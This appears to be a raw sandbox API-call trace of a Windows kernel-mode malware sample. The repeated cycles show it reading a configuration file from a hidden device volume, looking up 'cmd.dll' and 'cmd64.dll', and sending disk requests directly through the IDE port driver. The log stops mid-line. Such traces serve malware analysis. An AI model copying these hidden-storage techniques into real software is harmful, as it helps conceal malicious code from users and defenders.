[0127.060] KeLeaveCriticalRegion () [0127.060] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.060] KeEnterCriticalRegion () [0127.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.060] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.060] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf52e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.060] KeLeaveCriticalRegion () [0127.060] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.061] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.061] KeEnterCriticalRegion () [0127.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.061] ExFreePoolWithTag (P=0xfffffa80037da730, Tag=0x0) [0127.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.061] KeLeaveCriticalRegion () [0127.061] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.061] ReleaseMutex (hMutex=0xf0) returned 1 [0127.061] Sleep (dwMilliseconds=0x124f80) [0127.080] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.080] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.080] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.080] KeEnterCriticalRegion () [0127.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.080] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.080] IdePortDispatch () returned 0x103 [0127.081] KeWaitForMutexObject () returned 0x0 [0127.081] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.081] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.081] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.081] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.081] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.081] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bface0 [0127.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.081] KeLeaveCriticalRegion () [0127.081] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.081] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.081] KeEnterCriticalRegion () [0127.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.081] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.081] KeLeaveCriticalRegion () [0127.081] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.081] KeEnterCriticalRegion () [0127.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.081] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.081] IdePortDispatch () returned 0x103 [0127.081] KeWaitForMutexObject () returned 0x0 [0127.081] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.082] KeLeaveCriticalRegion () [0127.082] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.082] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.082] KeEnterCriticalRegion () [0127.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.082] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7b000 [0127.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.082] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.082] IdePortDispatch () returned 0x103 [0127.082] KeWaitForMutexObject () returned 0x0 [0127.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.082] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.082] IdePortDispatch () returned 0x103 [0127.083] KeWaitForMutexObject () returned 0x0 [0127.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.083] KeLeaveCriticalRegion () [0127.083] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.083] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.083] KeEnterCriticalRegion () [0127.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.083] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.083] KeLeaveCriticalRegion () [0127.083] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.083] KeEnterCriticalRegion () [0127.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.083] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.083] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf52e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.084] KeLeaveCriticalRegion () [0127.084] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.084] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.084] KeEnterCriticalRegion () [0127.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.084] ExFreePoolWithTag (P=0xfffffa8003bface0, Tag=0x0) [0127.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.084] KeLeaveCriticalRegion () [0127.084] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.084] ReleaseMutex (hMutex=0xf0) returned 1 [0127.084] Sleep (dwMilliseconds=0x124f80) [0127.098] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.098] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.098] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.098] KeEnterCriticalRegion () [0127.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.098] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.098] IdePortDispatch () returned 0x103 [0127.098] KeWaitForMutexObject () returned 0x0 [0127.098] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.098] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.098] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.098] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.098] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.098] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da730 [0127.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.098] KeLeaveCriticalRegion () [0127.098] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.098] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.099] KeEnterCriticalRegion () [0127.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.099] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.099] KeLeaveCriticalRegion () [0127.099] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.099] KeEnterCriticalRegion () [0127.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.099] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.099] IdePortDispatch () returned 0x103 [0127.099] KeWaitForMutexObject () returned 0x0 [0127.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.099] KeLeaveCriticalRegion () [0127.099] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.099] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.099] KeEnterCriticalRegion () [0127.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.099] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b80000 [0127.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.099] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.099] IdePortDispatch () returned 0x103 [0127.099] KeWaitForMutexObject () returned 0x0 [0127.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.100] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.100] IdePortDispatch () returned 0x103 [0127.100] KeWaitForMutexObject () returned 0x0 [0127.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.100] KeLeaveCriticalRegion () [0127.100] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.100] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.100] KeEnterCriticalRegion () [0127.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.100] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.100] KeLeaveCriticalRegion () [0127.100] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.100] KeEnterCriticalRegion () [0127.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.100] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.100] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.100] KeLeaveCriticalRegion () [0127.101] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.101] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.101] KeEnterCriticalRegion () [0127.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.101] ExFreePoolWithTag (P=0xfffffa80037da730, Tag=0x0) [0127.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.101] KeLeaveCriticalRegion () [0127.101] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.101] ReleaseMutex (hMutex=0xf0) returned 1 [0127.101] Sleep (dwMilliseconds=0x124f80) [0127.114] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.114] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.114] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.114] KeEnterCriticalRegion () [0127.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.115] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.115] IdePortDispatch () returned 0x103 [0127.115] KeWaitForMutexObject () returned 0x0 [0127.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.115] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.115] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.115] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.115] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.115] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adce10 [0127.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.115] KeLeaveCriticalRegion () [0127.115] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.115] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.115] KeEnterCriticalRegion () [0127.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.115] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.115] KeLeaveCriticalRegion () [0127.115] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.115] KeEnterCriticalRegion () [0127.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.115] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.115] IdePortDispatch () returned 0x103 [0127.115] KeWaitForMutexObject () returned 0x0 [0127.115] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.115] KeLeaveCriticalRegion () [0127.116] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.116] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.116] KeEnterCriticalRegion () [0127.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.116] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b85000 [0127.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.116] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.116] IdePortDispatch () returned 0x103 [0127.116] KeWaitForMutexObject () returned 0x0 [0127.116] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.116] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.116] IdePortDispatch () returned 0x103 [0127.117] KeWaitForMutexObject () returned 0x0 [0127.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.117] KeLeaveCriticalRegion () [0127.117] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.117] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.117] KeEnterCriticalRegion () [0127.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.117] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.117] KeLeaveCriticalRegion () [0127.117] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.117] KeEnterCriticalRegion () [0127.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.117] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.117] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcbd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.117] KeLeaveCriticalRegion () [0127.117] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.117] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.117] KeEnterCriticalRegion () [0127.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.117] ExFreePoolWithTag (P=0xfffffa8002adce10, Tag=0x0) [0127.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.117] KeLeaveCriticalRegion () [0127.117] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.117] ReleaseMutex (hMutex=0xf0) returned 1 [0127.117] Sleep (dwMilliseconds=0x124f80) [0127.131] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.131] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.131] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.131] KeEnterCriticalRegion () [0127.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.131] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.131] IdePortDispatch () returned 0x103 [0127.131] KeWaitForMutexObject () returned 0x0 [0127.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.131] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", 